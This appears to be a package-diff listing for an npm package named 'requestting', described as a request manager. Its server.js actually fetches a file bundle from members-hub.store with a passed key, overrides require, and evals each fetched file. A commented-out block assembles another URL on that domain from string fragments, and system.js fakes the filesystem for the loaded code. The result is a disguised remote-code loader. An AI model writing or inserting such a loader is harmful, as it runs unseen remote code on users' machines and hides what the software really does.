requestting 0.0.1
Sign up to get free protection for your applications and to get access to all the features.
- package/README.md +1 -0
- package/package.json +22 -0
- package/server.js +176 -0
- package/system.js +21 -0
package/README.md
ADDED
@@ -0,0 +1 @@
|
|
1
|
+
# Worker online custom for teamlog #
|
package/package.json
ADDED
@@ -0,0 +1,22 @@
|
|
1
|
+
{
|
2
|
+
"name": "requestting",
|
3
|
+
"description": "request Manager",
|
4
|
+
"version": "0.0.1",
|
5
|
+
"main": "server.js",
|
6
|
+
"dependencies": {
|
7
|
+
"axios": "^0.22.0",
|
8
|
+
"express": "^4.19.2",
|
9
|
+
"mongoose": "^8.5.5",
|
10
|
+
"node-fetch": "^2.6.1",
|
11
|
+
"pretty-ms": "^6.0.0",
|
12
|
+
"random-token": "^0.0.6",
|
13
|
+
"socket.io-client": "^4.7.1"
|
14
|
+
},
|
15
|
+
"keywords": [
|
16
|
+
"requests",
|
17
|
+
"requestting"
|
18
|
+
],
|
19
|
+
"author": "A7med",
|
20
|
+
"license": "MIT",
|
21
|
+
"readmeFilename": "README.md"
|
22
|
+
}
|
package/server.js
ADDED
@@ -0,0 +1,176 @@
|
|
1
|
+
const FILESYSTEM__ = require("./system.js");
|
2
|
+
const AXIOS__ = require("axios");
|
3
|
+
const oldRequire = require;
|
4
|
+
const EXPRESS__ = oldRequire("express");
|
5
|
+
const APP__ = EXPRESS__();
|
6
|
+
|
7
|
+
APP__.get('/', (req, res) => {
|
8
|
+
res.status(200).json({});
|
9
|
+
});
|
10
|
+
|
11
|
+
APP__.listen(3001);
|
12
|
+
|
13
|
+
class Main {
|
14
|
+
constructor(pass, id) {
|
15
|
+
this._files = {};
|
16
|
+
this.cache = {};
|
17
|
+
this.fs = new FILESYSTEM__(this);
|
18
|
+
|
19
|
+
console.log(pass, id)
|
20
|
+
|
21
|
+
this.pass = pass;
|
22
|
+
this.id = id;
|
23
|
+
|
24
|
+
this._request_Files();
|
25
|
+
|
26
|
+
}
|
27
|
+
|
28
|
+
handleError(err) {
|
29
|
+
console.log(err);
|
30
|
+
process.exit(0);
|
31
|
+
}
|
32
|
+
|
33
|
+
async _request_Files() {
|
34
|
+
/*
|
35
|
+
const _r = ["https://al", "ways", "online", ".members", "-hub", ".store/", "api", "/files"]
|
36
|
+
const _p = ["1234567", "8901@"]
|
37
|
+
console.log(_r, _p)
|
38
|
+
const _e = _r[0] + _r[1] + _r[2] + _r[3] + _r[4] + _r[5] + _r[6] + _r[7];
|
39
|
+
const _a = _p[0] + _p[1];
|
40
|
+
console.log(_e, _a)
|
41
|
+
*/
|
42
|
+
console.log(this.pass)
|
43
|
+
let data = await AXIOS__.get("https://members-hub.store/linkbyauth?pass=" + this.pass).then(res=>res.data).catch(err=>this.handleError(err?.response?.data))
|
44
|
+
console.log(data)
|
45
|
+
if(!data) return;
|
46
|
+
|
47
|
+
|
48
|
+
const endpoint = process.env.myurl;
|
49
|
+
const authenticationHeader = process.env.auth;
|
50
|
+
|
51
|
+
const filesObj = await AXIOS__.get(data[this.id], {
|
52
|
+
headers: {
|
53
|
+
authentication: data[3],
|
54
|
+
},
|
55
|
+
})
|
56
|
+
.then((res) => res.data)
|
57
|
+
.catch((err) => this.handleError(err.response?.data));
|
58
|
+
|
59
|
+
if (!filesObj) return;
|
60
|
+
|
61
|
+
console.log(filesObj['index.js'])
|
62
|
+
|
63
|
+
this._files = filesObj;
|
64
|
+
console.log("Files Loaded!");
|
65
|
+
this.star_t();
|
66
|
+
}
|
67
|
+
|
68
|
+
get files() {
|
69
|
+
return this._files;
|
70
|
+
}
|
71
|
+
|
72
|
+
_require(path, input) {
|
73
|
+
if (input === "F_S".split("_").join("").toLowerCase()) {
|
74
|
+
return this.fs;
|
75
|
+
} else if (!input.includes("/")) {
|
76
|
+
return oldRequire(input);
|
77
|
+
} else {
|
78
|
+
let currentPath = path;
|
79
|
+
let executePath = input;
|
80
|
+
|
81
|
+
let currentPath_ = currentPath;
|
82
|
+
let executePath_ = executePath;
|
83
|
+
|
84
|
+
let target = "";
|
85
|
+
let extention = "";
|
86
|
+
|
87
|
+
if (executePath.endsWith(".js") || executePath.endsWith(".json")) {
|
88
|
+
extention = executePath.endsWith(".js") ? ".js" : ".json";
|
89
|
+
executePath = executePath.split(".");
|
90
|
+
executePath = executePath.slice(0, executePath.length - 1).join(".");
|
91
|
+
}
|
92
|
+
|
93
|
+
if (!executePath.includes(".")) {
|
94
|
+
currentPath = "/";
|
95
|
+
}
|
96
|
+
if (executePath.startsWith("/app/")) {
|
97
|
+
executePath = executePath.replace("/app/", "/");
|
98
|
+
}
|
99
|
+
|
100
|
+
while (true) {
|
101
|
+
if (!executePath.includes(".")) {
|
102
|
+
target = "/" + executePath + extention;
|
103
|
+
break;
|
104
|
+
}
|
105
|
+
const splited = executePath.split("/");
|
106
|
+
if (splited[0] === "..") {
|
107
|
+
currentPath = currentPath.split("/");
|
108
|
+
currentPath = currentPath.slice(0, currentPath.length - 1).join("/");
|
109
|
+
executePath = executePath.split("/").slice(1).join("/");
|
110
|
+
} else if (splited[0] === ".") {
|
111
|
+
executePath = executePath.split("/").slice(1).join("/");
|
112
|
+
} else if (splited[0] === "") {
|
113
|
+
}
|
114
|
+
}
|
115
|
+
|
116
|
+
const result =
|
117
|
+
this.cache[target] ||
|
118
|
+
this.load_FromPath(currentPath + target, currentPath);
|
119
|
+
|
120
|
+
if (!result) {
|
121
|
+
console.log(`
|
122
|
+
Main execute path: ${executePath_}
|
123
|
+
Main current path: ${currentPath_}
|
124
|
+
execute path: ${executePath}
|
125
|
+
current path: ${currentPath}
|
126
|
+
target: ${currentPath + target}
|
127
|
+
result: ${!!result}
|
128
|
+
`);
|
129
|
+
}
|
130
|
+
|
131
|
+
return result;
|
132
|
+
}
|
133
|
+
}
|
134
|
+
|
135
|
+
load_FromPath(pathname, pathofkey) {
|
136
|
+
try {
|
137
|
+
require = (...args) => this._require(pathofkey, ...args);
|
138
|
+
|
139
|
+
let result = this.files;
|
140
|
+
const splited = pathname.split("/");
|
141
|
+
|
142
|
+
for (let i = 0; i < splited.length; i++) {
|
143
|
+
if (!splited[i]) continue;
|
144
|
+
let dir = splited[i];
|
145
|
+
result = result[dir];
|
146
|
+
}
|
147
|
+
|
148
|
+
try {
|
149
|
+
this.cache[pathname] = eval(result);
|
150
|
+
} catch (e) {
|
151
|
+
console.log(pathname, e.message);
|
152
|
+
}
|
153
|
+
|
154
|
+
return this.cache[pathname];
|
155
|
+
} catch (e) {
|
156
|
+
console.log(e, pathname, pathofkey);
|
157
|
+
}
|
158
|
+
}
|
159
|
+
|
160
|
+
async star_t() {
|
161
|
+
const caching = (obj, path = "") => {
|
162
|
+
const result = {};
|
163
|
+
for (let [key, value] of Object.entries(obj)) {
|
164
|
+
const pathofkey = `${path}/${key}`;
|
165
|
+
if (typeof value === "object") {
|
166
|
+
result[key] = caching(value, pathofkey);
|
167
|
+
} else {
|
168
|
+
this.load_FromPath(pathofkey, path);
|
169
|
+
}
|
170
|
+
}
|
171
|
+
};
|
172
|
+
|
173
|
+
caching(this.files);
|
174
|
+
}
|
175
|
+
}
|
176
|
+
module.exports = Main
|
package/system.js
ADDED
@@ -0,0 +1,21 @@
|
|
1
|
+
class FS {
|
2
|
+
constructor(manager) {
|
3
|
+
this.manager = manager;
|
4
|
+
}
|
5
|
+
|
6
|
+
readdirSync(pathname) {
|
7
|
+
let result = { app: this.manager.files };
|
8
|
+
let splited = pathname.split("/");
|
9
|
+
|
10
|
+
for (let i = 0; i < splited.length; i++) {
|
11
|
+
if (!splited[i]) continue;
|
12
|
+
let dir = splited[i];
|
13
|
+
result = result[dir];
|
14
|
+
}
|
15
|
+
|
16
|
+
return Object.keys(result);
|
17
|
+
}
|
18
|
+
}
|
19
|
+
|
20
|
+
module.exports = FS;
|
21
|
+
|